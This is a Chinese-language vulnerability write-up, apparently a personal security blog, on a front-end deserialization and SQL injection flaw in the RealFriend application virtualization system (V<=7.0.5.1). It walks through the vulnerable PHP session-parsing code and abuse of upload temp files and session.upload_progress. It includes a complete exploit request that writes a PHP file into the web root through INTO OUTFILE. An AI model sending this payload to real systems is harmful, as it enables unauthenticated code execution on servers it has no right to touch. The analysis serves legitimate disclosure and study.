浅析瑞友天翼应用虚拟化系统前台反序列化(V<=7.0.5.1)

浅析瑞友天翼应用虚拟化系统前台反序列化(V<=7.0.5.1)

看到应急公告简单分析学习一波,漏洞不算难,代码也比较简单,有些细节还是蛮有意思,算是温故而知新,顺便也捡起一些很久没碰的PHP知识

鉴权

这个系统文件不多,功能点大多是需要登录,我们可以重点关注一下鉴权部分,在为数不多的控制器当中可以看到,在admin/index两个控制器中部分功能点都存在对于登录用户的判断,分别对应函数checkloginadminchecklogin(Ps:在高版本中只有AdminCtroller控制器文件了,武器化也以这个为准)

在这里可以明显看到sql查询为拼接的形式,userId参数来源于session存储文件的反序列化

IndexController#checklogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private function checklogin()
{
$mUser = M('cuser');
$sessionpath = session_save_path();
$pathName = $this->openpath($sessionpath);
$path = $_REQUEST['sessId'] ? ($sessionpath . "/sess_" . $_REQUEST['sessId']) : ($sessionpath . "/" . $pathName['name'][0]);

$content = file_get_contents($path);
$tmp = explode("|", $content);
$tmp3 = unserialize($tmp[3]);
$userId = $tmp3['user_id'];
$cuser = $mUser->where("user_id='{$userId}' AND is_group=0 AND is_admin !=1")->find();
if (sizeof($cuser) > 0) {
$_SESSION['UserInfo'] = $cuser;
$_SESSION['sessId'] = $_REQUEST['sessId'];
$this->assign('sessId', $_REQUEST['sessId']);
return true;
}
if ($_SESSION['LonginSucceed'] == false) { //尚未登录
$this->login(); //$this->redirect('index');
return false;
} else {
return true;
}
}

AdminController#checklogin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private function adminchecklogin()
{
$mUser = M('cuser');
$sessionpath = session_save_path();
$pathName = $this->openpath($sessionpath);
$path = $sessionpath . "/sess_" . $_REQUEST['sessId'];
$content = file_get_contents($path);
$tmp = explode("OverDo", $content);
if (count($tmp) > 1) {
$temporary = explode("|", $content);
$tmp6 = unserialize($temporary[7]);
if (!$tmp6) {
$tmp6 = unserialize($temporary[1]);
}
} else {
$tmp = explode("|", $content);
$tmp6 = unserialize($tmp[6]);
}
$userId = $tmp6['user_id'];
$_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId;

$cuser = $mUser->where("user_id='{$_SESSION['AdminUserInfo']['user_id']}' AND is_group=0 AND is_admin=1")->find();
if (sizeof($cuser) > 1 && $cuser['is_admin'] == 1) {
$_SESSION['AdminLonginSucceed'] = true;
$_SESSION['Is_Admin'] = $cuser['is_admin'];
$_SESSION['AdminUserInfo'] = $InfoLogin['AdminUserInfo'] = $cuser;
$_SESSION['AdminUserInfo']['name'] = $cuser['name'];
$this->assign('sessId', $_REQUEST['sessId']);
$this->assign('Admin', $_SESSION['AdminUserInfo']['name']);
}

if ($_SESSION['AdminLonginSucceed'] && $_SESSION['Is_Admin'] && $cuser != NULL) {
return true;
} else { //尚未登录
$this->login(); //$this->redirect('index');
$_SESSION['AdminLonginSucceed'] = false;
$_SESSION['Is_Admin'] = false;
return false;
}
}

利用方式大致一致,但AdmincontrollerIndexController在利用上仍有些许差别,前者利用中多了如下代码,也就是说如果第一次打成功了,userId则会被记录,第二次利用时如果需要更改Payload只需把cookie中PHPSESSID做个修改即可

1
$_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId;

失败的session控制利用尝试

php中的session存在多种存储方式,通过cookie、文件、数据库等方式均可,存储的格式也有多种

php_serialize经过serialize()函数序列化数组
php键名+竖线+经过serialize()函数处理的值
php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值

接下里我们查看系统中关于session的配置,不难发现,存储方式是通过文件,保存在RealFriend\Rap Server\Temp\PhpSession路径下,且存储格式为php

1
2
3
4
5
6
7
8
9
10
11
12
13
[Session]
session.save_handler = files
;session.save_path = "C:\Windows\Temp"
session.save_path ="C:\Program Files (x86)\RealFriend\Rap Server\Temp\PhpSession"
session.use_cookies = 1
session.cookie_secure = 0
session.name = PHPSESSID
session.auto_start = 0
session.cookie_lifetime = 0
session.cookie_path = /
session.cookie_domain =
session.cookie_httponly = True
session.serialize_handler = php

关于session的工作原理就不再赘述网上相关资料也很多了

知道了这些信息,接下来我们便可以思考如何控制这个session文件(通过对session操作赋值),这个过程非常直接,因此我们第一个很容易想到在登录的过程

在下面的文件中,我们发现赋值部分能控制的有namepwdloginPwdlanguage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

include "ConDB.XGI";
include "LicenceInfo.XGI";
include "Lg.XGI";
include "Common.XGI";
include "Function.XGI";
include "converter.XGI";

$ErrID = 1;
if (!isset($_SESSION)) {
session_start();
}
$COMCASWEB = new main();

if (!isset($_REQUEST['cmd']) && $_REQUEST['cmd'] == "") {
if (isset($_SESSION['UserName']) && !empty($_SESSION['UserName'])) {
}
if ($GLOBALS['_SESSION']['LonginSucceed']) {
$GLOBALS['GLOBALS']['_REQUEST']['DirID'] = "NULL";
} else {
session_unset();
}
}

$GLOBALS['GLOBALS']['_SESSION']['MainXGI'] = $_SERVER['PHP_SELF'];
$GLOBALS['GLOBALS']['_SESSION']['Embed'] = FALSE;
$GLOBALS['GLOBALS']['_SESSION']['salt'] = getClientLoginMd5Salt();
if (isset($_GET['cmd']) && $_GET['cmd'] == "UserLogin") {
$RedURL = $_SERVER['PHP_SELF'];
header("Location: " . $RedURL);
exit;
}

if (isset($_REQUEST['cmd']) && $_REQUEST['cmd'] == "UserLogin") {
$_REQUEST['name']=trim(filter_inputXssKeyWord($_REQUEST['name']));
$_REQUEST['pwd']=(filter_inputXssKeyWord($_REQUEST['pwd']));
$_REQUEST['loginPwd']=trim(filter_inputXssKeyWord($_REQUEST['loginPwd']));
$GLOBALS['GLOBALS']['_SESSION']['loginPwd']=$_REQUEST['loginPwd'];
$GLOBALS['GLOBALS']['_SESSION']['PWD'] = $_REQUEST['pwd'];

if (inject_check($_REQUEST['name']) || inject_check($_REQUEST['pwd'])) {
$RedURL = $_SERVER['PHP_SELF'];
header("Location: " . $RedURL);
exit;
}

if (isset($_REQUEST['language']) && $_REQUEST['language'] != "") {
$GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = strtoupper($_REQUEST['language']);
} else {

}
if (!isset($_SESSION['LanguageName']) && $_SESSION['LanguageName'] == "") {
$GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = strtoupper($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (similar_text($_SESSION['LanguageName'], "ZH-CN") == 5) {
$GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-CN";
} else {
if (similar_text($_SESSION['LanguageName'], "ZH-TW") == 5) {
$GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-TW";
} else {
$GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "EN";
}
}
}
if ($_SESSION['LanguageName'] == "") {
$GLOBALS['GLOBALS']['_SESSION']['LanguageName'] = "ZH-CN";
}

但很可惜一眼能看到过滤函数中把'单引号删除了,因此实际利用时不能做到执行的逃逸

1
2
3
4
5
6
7
8
function filter_inputXssKeyWord($str)
{
$str = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", preg_replace( "/<(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $str));
$str=str_ireplace("and", "", preg_replace( "/<(.*)a(.*)n(.*)d/i", "",$str));
$str=str_ireplace("' 'f'='", "", str_ireplace("OR", "", $str));
$str=str_ireplace("+", "", str_ireplace("'", "", $str));
return $str;
}

唯一没走过滤的只有language相关参数,但很可惜回顾之前的反序列化部分要求位置太过于靠前,另一个admin控制器的则在第七位,仅有参数Pwd在存储文件按|分割在第五位,能通过写入|实现反序列化payload的控制,但很可惜无法逃逸单引号的利用

1
2
$tmp = explode("|", $content);
$tmp3 = unserialize($tmp[3]);

柳暗花明又一村

第二天写完博客吃饭期间,经过atao的提示我又去看了一下php的配置,不看不知道,一看吓一跳(所以说有时候不要光看配置文件.ini的内容,还是phpinfo里的信息更为直观)

image-20240508140656003

这不就是以前CTF的利用session.upload_progress做条件竞争写文件么?经过测试也是可以直接利用的,这方面知识点遗忘的

可以看看以前的老文章,这里就不当搬运工了,利用session.upload_progress进行文件包含和反序列化渗透

通过PHP_SESSION_UPLOAD_PROGRESS的利用,将反序列化数据放在filename当中即可实现更稳定的利用,目前来看三种利用方式里面这个最佳

PHP临时文件

另一个能想到的就是之前打ctf的老姿势临时文件包含了,配合上windows的通配符

忘了的可以看看远古文章https://soroush.me/blog/2014/07/file-upload-and-php-on-iis-wildcards/

查看系统具体配置,可以看到缓存文件在默认路径下

1
2
3
4
5
file_uploads = On
upload_tmp_dir = "C:\Windows\Temp"
upload_max_filesize = 32M
max_file_uploads = 20
allow_url_fopen = On

通过查看配置文件不难发现临时文件在默认的C:\Windows\Temp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /hmrao.php?s=/Admin/title&sessId=/../../../../../../Windows/Temp/php<< HTTP/1.1
Host:
Connection: close
Cookie: PHPSESSID=aaabbbcccddefzzzzazzza; CookieLanguageName=EN; UserAuthtype=0
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: multipart/form-data; boundary=------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate{{char(a-z)}}
Content-Length: 188

--------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM
Content-Disposition: form-data; name="file";filename="1.txt"

||||||a:1:{s:7:"user_id";s:310:"y4test') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 0x003c3f7068702066696c655f7075745f636f6e74656e7473282779347461636b65722e706870272c273c3f706870206563686f28224861636b65642042792059347461636b657222293b27293b3f3e into outfile '../../WebRoot/y4tacker.php'#";}|||
--------------------------wHKGQZyLwKYaYTdizteSYGbJvzMyKPIUBukyzTKM--

一发入魂打一波

image-20240507153854337

但仍然存在一定问题,假如我们的安装目录不在默认的C盘,那么目录穿越不能跨越盘符做读取,那这时候又该怎么办呢?

ThinkPHP日志包含

尽管安装路径不一定在C盘,那么我们还能从什么方向思考呢,有情我们的老演员TP,它的日志总会在项目路径下吧(RealFriend\Rap Server\WebRoot\casweb\Runtime\Logs\Home)

只要能让项目报错就能保存日志,因此我们可以访问一个不存在的路由触发日志即可将payload写入(注意处理空格的问题,#符号也要替换,闭合语句即可)

image-20240507161725269